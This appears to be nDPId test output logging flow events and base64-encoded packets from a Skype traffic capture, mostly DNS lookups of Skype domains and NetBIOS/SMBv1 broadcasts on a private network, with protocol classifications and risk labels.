+00453{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970639,"pkt_ts_usec":679394,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDWaUAAEARnZHAqAEiwKgBAeUHADUAL+4jvNsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00448{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970639,"pkt_ts_usec":880168,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8vzlAAEAG6GPAqAEinTg0HMgdnEkK2QS07hN6BYAYECnz\/wAAAQEICj4xmvBMX+qKABUsdMFxBVE="} +00445{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970639,"pkt_ts_usec":880296,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA72qEAAEARHJ3AqAEiwKgBAfrwADUAJ8Zq760BAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00445{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970639,"pkt_ts_usec":880360,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7A+cAAEAR81fAqAEiwKgBAcLIADUAJ6plKNsBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00449{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970640,"pkt_ts_usec":1513,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/RFIAAEARsujAqAEiwKgBAfWbADUAK9VUuF8BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAABAAE="} +00449{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970640,"pkt_ts_usec":1710,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/ev0AAEARfD3AqAEiwKgBAebpADUAK335A20BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAAcAAE="} +00464{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970640,"pkt_ts_usec":1799,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABL0sEAAEARJG3AqAEiwKgBAeD4ADUANz9NJ5kBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAABAAE="} +00464{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970640,"pkt_ts_usec":1892,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLM+0AAEARw0HAqAEiwKgBAdB8ADUAN25j7f4BAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAAcAAE="} +00442{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970640,"pkt_ts_usec":538883,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6H8cAAEAR13jAqAEiwKgBAfgaADUAJptGWcsBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00689{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970640,"pkt_ts_usec":703791,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtM5xAAEAGCzHAqAEiF84hpsgfAbv4Tz2YGDU8XoAYECwZuwAAAQEICj4xniXsPW3FFgMBALQBAACwAwNVWiNLhX\/\/ejAO4KpxNC8\/ZrCwmmE9wkU90zxCDkcIKAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00467{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970641,"pkt_ts_usec":479360,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLXS8AAEARmf\/AqAEiwKgBAcOHADUANwqgVG4BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00466{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970641,"pkt_ts_usec":479551,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLJjoAAEAR0PTAqAEiwKgBAcopADUAN1kA5GsBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":476,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1431970634648,"flow_last_seen":0,"flow_tot_l4_data_len":46,"flow_min_l4_data_len":46,"flow_max_l4_data_len":46,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":61016,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":476,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1431970632290,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.219","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00477{"flow_id":22,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":169011,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"0NQSxnP1PBXCt3IOCABFAABQHEVAAEAGi0TAqAEinTg0HMggAbskulh14+mZNYAYECy1swAAAQEICj4xo95MX+wkj\/+\/FJjGnvuHRd2oWYqGsDWb1go6xLS\/RXUyPQ=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":477,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1431970642408,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":408833,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAABOkRoAAEARZRPAqAEiwKgB\/wCJAIkAOosFRXIBEAABAAAAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAE="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":477,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1431970642408,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00479{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":408989,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAABOP7YAAEARtnfAqAEiwKgB\/wCJAIkAOrIIRXEBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAE="} +00479{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":409032,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAABOkDsAAEARZfLAqAEiwKgB\/wCJAIkAOrIDRXYBEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAE="} +00505{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":409146,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAABgJtAAAEARz0vAqAEiwKgB\/wCJAIkATHVQRXdAEAABAAAAAAABIEVNRkZFREVCRkRFTkVCRURFQ0VQRVBFTEZBRkNFUEFBAAAgAAHADAAgAAEAAAOEAAZgAMCoASI="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":481,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1431970642412,"flow_last_seen":0,"flow_tot_l4_data_len":70,"flow_min_l4_data_len":70,"flow_max_l4_data_len":70,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.34","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":412443,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"PBXCt3IO0NQSxnP1CABFAABaAABAAEARtx\/AqAEBwKgBIgCJAIkARtFGRXKFgAAAAAEAAAAAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAAAgAAEAA\/SAAAaAAMCoAQE="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":481,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1431970642412,"flow_last_seen":0,"flow_tot_l4_data_len":70,"flow_min_l4_data_len":70,"flow_max_l4_data_len":70,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.34","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00490{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":413917,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"PBXCt3IO0NQSxnP1CABFAABaAABAAEARtx\/AqAEBwKgBIgCJAIkARnhKRXGFgAAAAAEAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAEAA\/SAAAYAAMCoAQE="} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":483,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1431970642414,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00646{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":414142,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAADKa30AAEARijTAqAEiwKgB\/wCKAIoAtudmEQJFcMCoASIAAACgAAAgRU1GRkVERUJGREVORUJFREVDRVBFUEVMRkFGQ0VQQUEAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAIAAG9FEQAABgAAAAAAAAACAAAAAAAAAAAAAAAGAFYAAwABAAEAAgAXAFxNQUlMU0xPVFxCUk9XU0UACQRuRQAA"} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":483,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1431970642414,"flow_last_seen":0,"flow_tot_l4_data_len":182,"flow_min_l4_data_len":182,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":484,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1431970642417,"flow_last_seen":0,"flow_tot_l4_data_len":192,"flow_min_l4_data_len":192,"flow_max_l4_data_len":192,"flow_avg_l4_data_len":192,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.34","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00653{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":417815,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"PBXCt3IO0NQSxnP1CABFAADUAABAAEARtqXAqAEBwKgBIgCKAIoAwKmzEAoqm8CoAQEAigCqAAAgRUJFTUVKRURFRkVIRUJGRUVGQ0FDQUNBQ0FDQUNBQUEAIEVNRkZFREVCRkRFTkVCRURFQ0VQRVBFTEZBRkNFUEFBAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAEAAAAAAAAAAAAAAAAAAAAAAAAAAQAFYAAwABAAEAAgAhAFxNQUlMU0xPVFxCUk9XU0UACgFuRQAAQUxJQ0VHQVRFAA=="} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":484,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1431970642417,"flow_last_seen":0,"flow_tot_l4_data_len":192,"flow_min_l4_data_len":192,"flow_max_l4_data_len":192,"flow_avg_l4_data_len":192,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.34","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00470{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":418040,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABOXUsAAEARmeDAqAEiwKgBAQCJAIkAOtIRRXgAAAABAAAAAAAAIEVCRU1FSkVERUZFSEVCRkVFRkNBQ0FDQUNBQ0FDQUNBAAAhAAE="} +00713{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":429802,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"PBXCt3IO0NQSxnP1CABFAAEBAABAAEARtnjAqAEBwKgBIgCJAIkA7VV4RXiEAAAAAAEAAAAAIEVCRU1FSkVERUZFSEVCRkVFRkNBQ0FDQUNBQ0FDQUNBAAAhAAEAAAAAAK0HQUxJQ0VHQVRFICAgICAgAAQAQUxJQ0VHQVRFICAgICAgAwQAQUxJQ0VHQVRFICAgICAgIAQAAQJfX01TQlJPV1NFX18CAYQAV09SS0dST1VQICAgICAgHQQAV09SS0dST1VQICAgICAgHoQAV09SS0dST1VQICAgICAgAIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00450{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":592149,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABABnoAAEAR8L\/AqAEiwKgBAdb0ADUALMTUeDABAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00449{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":592236,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAWPUAAEARnkTAqAEiwKgBAf3LADUALKDXdTsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00454{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":754265,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDgUwAAEARderAqAEiwKgBAe0QADUAL\/kqxMsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00453{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":754407,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDT58AAEARp5fAqAEiwKgBAeUHADUAL+4jvNsBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00445{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":895506,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA73pUAAEARGKnAqAEiwKgBAfrwADUAJ8Zq760BAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00445{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970642,"pkt_ts_usec":895636,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7hx0AAEARcCHAqAEiwKgBAcLIADUAJ6plKNsBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00450{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":493,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":97859,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/AuQAAEAR9FbAqAEiwKgBAfWbADUAK9VUuF8BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAABAAE="} +00450{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":98053,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/vucAAEAROFPAqAEiwKgBAebpADUAK335A20BAAABAAAAAAAABWRzbjEzAWQFc2t5cGUDbmV0AAAcAAE="} +00465{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":98205,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLrQ0AAEARSiHAqAEiwKgBAeD4ADUANz9NJ5kBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAABAAE="} +00466{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":98290,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLoG8AAEARVr\/AqAEiwKgBAdB8ADUAN25j7f4BAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDExAXIFc2t5cGUDbmV0AAAcAAE="} +00443{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":603808,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6D08AAEAR5\/DAqAEiwKgBAfgaADUAJptGWcsBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":498,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1431970643669,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970643,"pkt_ts_usec":669769,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAABOBnEAAEAR74LAqAFcwKgB\/wCJAIkAOrExRg4BEAABAAAAAAAAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJOAAAgAAE="} 